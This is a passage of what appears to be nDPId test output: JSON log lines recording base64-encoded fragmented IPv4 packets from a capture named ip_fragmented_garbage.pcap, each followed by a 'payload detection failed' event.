+00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":326,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":327,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1916,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":328,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":329,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":330,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":331,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":332,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1974,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":333,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":334,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":1997,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":335,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":336,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":337,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":338,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":339,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2053,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":340,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":341,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2077,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":342,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":343,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2099,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2111,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2121,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2154,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2219,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2231,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2274,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2291,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2365,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00378{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":2388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection 